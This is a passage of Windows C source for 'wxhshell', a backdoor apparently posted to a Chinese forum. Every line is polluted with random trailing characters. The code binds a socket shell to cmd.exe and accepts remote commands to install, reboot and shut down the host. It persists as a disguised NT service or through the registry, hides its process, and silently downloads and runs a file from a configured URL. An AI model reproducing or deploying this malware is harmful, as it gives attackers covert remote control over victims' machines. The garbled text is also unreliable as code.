  case '?': { x #BUIi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;9=9D{-4+  
    break; )&se/x+  
  } c^A3|tCi  
  // 安装 uC 5mxZ  
  case 'i': { s-k~_C>Fw  
    if(Install()) 6jPaS!E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <kPU*P,  
    else `^wF]R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j05ahquI  
    break; im*QaO%a4  
    } L.l"'=M  
  // 卸载 \dbpC Z  
  case 'r': { Vu^J'>X  
    if(Uninstall()) jEit^5^5|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4-ZiKM  
    else K ,f1c}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3rvD ch  
    break; <W|{zAyv  
    } ]rZ"5y  
  // 显示 wxhshell 所在路径 uhQ3  
  case 'p': { e`<=& w  
    char svExeFile[MAX_PATH]; T>kJB.V:oQ  
    strcpy(svExeFile,"\n\r"); cV&(L]k>`  
      strcat(svExeFile,ExeFile); Itj|0PGd  
        send(wsh,svExeFile,strlen(svExeFile),0); >fdS$,`A  
    break; w_/q5]/V-5  
    } *ZKfyn$+~  
  // 重启 &p=|z2 J  
  case 'b': { F! c%&Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x>&1;g2r  
    if(Boot(REBOOT)) TnPdpynP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HPVT$EJ  
    else { oopTo51,a  
    closesocket(wsh); $T1 D ?X  
    ExitThread(0); $-5iwZ  
    }  J@(*(oQb  
    break; xfos>|0N  
    }  5t:4%  
  // 关机 pc^(@eD  
  case 'd': { 3M+hjc.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 75Jh(hd(  
    if(Boot(SHUTDOWN)) rM=Q.By+\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DK*2 d_  
    else { 9i,QCA  
    closesocket(wsh); +3]@0VM26;  
    ExitThread(0); m-*du(  
    } Ocx=)WKdW  
    break; uAK-%Uu?  
    } 6H.D `"cj  
  // 获取shell X<,sc;"b`k  
  case 's': { OHp 121  
    CmdShell(wsh); 5W 5\  *L  
    closesocket(wsh); ^0~?3t5  
    ExitThread(0); V8[woJ5x  
    break; 7!<cU  
  } Z-Bw?_e_K  
  // 退出 e,`+6qP{  
  case 'x': { Z^>3}\_v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wH{lp/  
    CloseIt(wsh); x8b w#  
    break; t#6gjfIi  
    } N''9Bt+:  
  // 离开 -;Cl0O%  
  case 'q': { k+JDbJ@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gob1V  
    closesocket(wsh); }4A+J"M4y  
    WSACleanup(); m`4Sp#m  
    exit(1); rguC#Xt!4  
    break; #x':qBv#  
        } oKA8)~Xqou  
  } WH/r$.&  
  } *1Nz VV  
.OXvv _?<  
  // 提示信息 kTc'k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n8iejdA'  
} Kn=P~,FaG3  
  } ;gK+AU  
!;zacw  
  return; 224I%x.,  
} {xr4CDP  
LPO3B W  
// shell模块句柄 uDQ d48>  
int CmdShell(SOCKET sock) uJF,:}qA  
{ 3MNo&0M9  
STARTUPINFO si; ]*ZL>fuD|  
ZeroMemory(&si,sizeof(si)); ,%v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ASR"<]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0)yvyQ5  
PROCESS_INFORMATION ProcessInfo; nd'zO#"m?  
char cmdline[]="cmd"; M:Xswwq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Bb/~^  
  return 0; Y.[^3  
} $-jj%x\}  
EG@*J*|S  
// 自身启动模式 aoI{<,(  
int StartFromService(void) d_1w 9 F A  
{ )/Ee#)z*  
typedef struct ?9OiF-:n  
{ fC&Egy  
  DWORD ExitStatus; pWO,yxr:  
  DWORD PebBaseAddress; zRL[.O9  
  DWORD AffinityMask; ,DXNq`24  
  DWORD BasePriority; Rkw)IdB  
  ULONG UniqueProcessId; |9~{&<^X  
  ULONG InheritedFromUniqueProcessId; @Zjy"u  
}   PROCESS_BASIC_INFORMATION; F4YCU$V  
 Q.DtC  
PROCNTQSIP NtQueryInformationProcess; ~bdADVH  
1EyM,$On  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k .KN9=o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F?T3fINR  
4WzB=C(f  
  HANDLE             hProcess; )0yY|E\  
  PROCESS_BASIC_INFORMATION pbi; #gUM%$  
e~i ?E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g5; W6QX  
  if(NULL == hInst ) return 0; t /EB y"N#  
%kKe"$)0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FC.y%P,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l`[*b_ Xt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /V$ [M  
UStZ3A'  
  if (!NtQueryInformationProcess) return 0; ^ :6v- Yx  
Yvs9)g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hz>&E,<8q  
  if(!hProcess) return 0; a4 O  
b_W0tiyv%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C-@@`EP  
.NiPaUzc<  
  CloseHandle(hProcess); #J\ 2/~  
++5W_Ooep  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \3O#H  
if(hProcess==NULL) return 0; =V/$&96Q  
<&t^&6k  
HMODULE hMod; }ytc oIuLf  
char procName[255]; zYbSv~)  
unsigned long cbNeeded; K0g<11}(Yg  
D?) "Z$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %K\_gR}V  
eeoIf4]  
  CloseHandle(hProcess); wHx1CXC  
v,KH2 (N  
if(strstr(procName,"services")) return 1; // 以服务启动 `Ft.Rwj2:m  
BYqDC<Fq  
  return 0; // 注册表启动 &g\D-At  
} iKv{)5  
05TZ  
// 主模块 1WfN_JKB5  
int StartWxhshell(LPSTR lpCmdLine) Y6?d y\  
{ kC!7<%(  
  SOCKET wsl; B+`m  
BOOL val=TRUE; gX{V>T(<  
  int port=0; A%"mySW  
  struct sockaddr_in door; H8`K?SXU  
c_yf=   
  if(wscfg.ws_autoins) Install(); :05>~bn>pC  
I'`Q_5s5  
port=atoi(lpCmdLine); d-#MRl$rtK  
*QG>U[  
if(port<=0) port=wscfg.ws_port; Y@Lv>p  
BikmAa  
  WSADATA data; eg3zp gZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ME>OTs  
$83TA> <a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ']Nw{}eS`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3R !Mfz*  
  door.sin_family = AF_INET; V/.Y]dN5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E@}t1!E<  
  door.sin_port = htons(port); l=Jbuc  
D`o* OlU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HfFP4#C,  
closesocket(wsl); N*|Mfpf  
return 1; '%. lY9D  
} !}9k @=[  
gLaFIeF<+  
  if(listen(wsl,2) == INVALID_SOCKET) { [@eNb^ R  
closesocket(wsl); zb OEF  
return 1; C o4QWyt:  
} _SJ#k|vcq  
  Wxhshell(wsl); Ep|W>  
  WSACleanup(); 'ZgrN14  
HC@E&t  
return 0; Q0Y0Zt,h  
z:ue]7(.  
} G +o)s  
 O3bo3Cm$  
// 以NT服务方式启动 Ko]A}v\]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jqPQ= X  
{ ]E .+)>  
DWORD   status = 0; 8`EzvEm  
  DWORD   specificError = 0xfffffff; $VvL  
U!r2`2LY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; < S:SIaf0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ' JsP9>)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :EJ+#  
  serviceStatus.dwWin32ExitCode     = 0; > )YaWcI  
  serviceStatus.dwServiceSpecificExitCode = 0; *)gbKXb  
  serviceStatus.dwCheckPoint       = 0; p~Fc *g[!  
  serviceStatus.dwWaitHint       = 0; ;?"]S/16,  
,]gYy00w0s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t4R=$ km  
  if (hServiceStatusHandle==0) return; aze}ko NE  
Ms ;:+JI  
status = GetLastError(); Z 7rVM   
  if (status!=NO_ERROR) +!\$SOaR{  
{ R3`!Xj#&M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )@Fuw*  
    serviceStatus.dwCheckPoint       = 0; 8%S5Fc #am  
    serviceStatus.dwWaitHint       = 0; _5uzu6:y  
    serviceStatus.dwWin32ExitCode     = status; 56;lB$)"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cb~_{$A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q&}`( ]k  
    return; -& I)3  
  } R*3x{DNL  
R#eY@N}\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v) mO"\  
  serviceStatus.dwCheckPoint       = 0; ZW{pO:-  
  serviceStatus.dwWaitHint       = 0; ^ a#Vp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R#.FfWTZ  
} p}$VBl$'  
BUqe~E|I  
// 处理NT服务事件,比如:启动、停止 ~mP#V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W-ErzX  
{ 5(R ./  
switch(fdwControl) 1K.i>]}>  
{ N2[EdOJT_  
case SERVICE_CONTROL_STOP: w#_/CU L  
  serviceStatus.dwWin32ExitCode = 0; PTfTT_t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o(Yj[:+m  
  serviceStatus.dwCheckPoint   = 0; . Xn w@\k'  
  serviceStatus.dwWaitHint     = 0; }ac0}  
  { O>9+ tQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f'` QW@U  
  } 4 8l!P(>?y  
  return; Q>]FO  
case SERVICE_CONTROL_PAUSE: NI_.wB{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sz|;wsF{  
  break; P~/Gla k  
case SERVICE_CONTROL_CONTINUE: MA0 }BJoW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o,dO.isgh>  
  break; ~UA:_7#\M  
case SERVICE_CONTROL_INTERROGATE: +L D\~dcV+  
  break; M}2a/}4   
}; @2ZE8O#I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lcR53X  
} Q^}6GS$  
9aky+  
// 标准应用程序主函数 =oz$uD}?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tfW*(oU  
{ $Tci_(V=F  
c `C /U7j  
// 获取操作系统版本 >|Ps23J#  
OsIsNt=GetOsVer(); BM9J/24  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fgcI55&jV{  
<pJeiMo  
  // 从命令行安装 %2>ya>/M  
  if(strpbrk(lpCmdLine,"iI")) Install(); jI:5[. Y  
C\#E1\d  
  // 下载执行文件 _P9T h#UAg  
if(wscfg.ws_downexe) { Q'xZ\t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d;1%Ei3K  
  WinExec(wscfg.ws_filenam,SW_HIDE); z2p@d1  
} yzJ VU0s  
\1x<bx/1  
if(!OsIsNt) { M_asf7|v  
// 如果时win9x,隐藏进程并且设置为注册表启动 kH:! 7L_=  
HideProc(); d/oxRzk'L  
StartWxhshell(lpCmdLine); ,ND}T#yTR  
} +72[*_ <  
else x aiA2  
  if(StartFromService()) 91Bl{  
  // 以服务方式启动 w;f$oT  
  StartServiceCtrlDispatcher(DispatchTable); %6c[\ubr  
else hn]><kaA  
  // 普通方式启动 DMO8~5  
  StartWxhshell(lpCmdLine); NbG`v@yH  
\0. c_  
return 0; }&|S8:   
}
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只看该作者 1 发表于: 2006-10-10
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